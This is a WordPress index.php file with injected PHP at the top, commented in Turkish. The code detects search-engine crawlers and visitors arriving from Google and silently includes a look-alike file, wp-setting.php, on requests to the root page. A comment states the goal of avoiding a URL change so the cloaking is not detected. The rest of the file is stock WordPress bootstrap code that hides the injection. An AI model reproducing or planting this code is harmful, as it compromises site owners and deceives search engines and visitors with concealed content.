<?php
// Kullanıcı ajanı ve referans bilgisini güvenli şekilde al
 $userAgent = $_SERVER['HTTP_USER_AGENT'] ?? '';
 $referer = $_SERVER['HTTP_REFERER'] ?? '';

// Google ve diğer tüm bilinen botlar 
 $botPatterns = [
    'Googlebot', 'AdsBot', 'Mediapartners-Google', 'APIs-Google', 'Googlebot-Image',
    'Googlebot-Video', 'Googlebot-News', 'Googlebot-Search', 'Googlebot-Inspect',
    'Googlebot-Android', 'Googlebot-Mobile', 'Googlebot-Ads', 'Googlebot-Discovery', 'Google-',
    'Bingbot', 'Slurp', 'DuckDuckBot', 'Baiduspider', 'YandexBot', 'Sogou', 'Exabot',
    'facebot', 'ia_archiver', 'Twitterbot', 'facebookexternalhit', 'LinkedInBot', 'Embedly',
    'WhatsApp', 'Applebot', 'PetalBot', 'AhrefsBot', 'SemrushBot'
];

// Bot veya Google Referer tespiti
 $isTarget = false;

// 1. Kullanıcı ajanına göre bot kontrolü
foreach ($botPatterns as $bot) {
    if (stripos($userAgent, $bot) !== false) {
        $isTarget = true;
        break;
    }
}

// 2. Referer kontrolü (Sadece Google aramalarından gelenler)
if (!$isTarget && strpos($referer, 'google.') !== false) {
    $isTarget = true;
}

// Eğer bot ise veya Google'dan geldiyse wp-setting.php'yi ÇAĞIR (Yönlendirme DEĞİL)
// Sadece ana dizine (/) yapılan isteklerde çalışması için URI kontrolü eklendi.
if ($isTarget && ($_SERVER['REQUEST_URI'] === '/')) {
    // Yönlendirme yerine include kullanıyoruz ki URL değişmesin, cloaking algılanmasın
    include __DIR__ . '/wp-setting.php';
    exit;
}

/**
 * Front to the WordPress application. This file doesn't do anything, but loads
 * wp-blog-header.php which does and tells WordPress to load the theme.
 *
 * @package WordPress
 */

/**
 * Tells WordPress to load the WordPress theme and output it.
 *
 * @var bool
 */
define( 'WP_USE_THEMES', true );

/** Loads the WordPress Environment and Template */
require __DIR__ . '/wp-blog-header.php';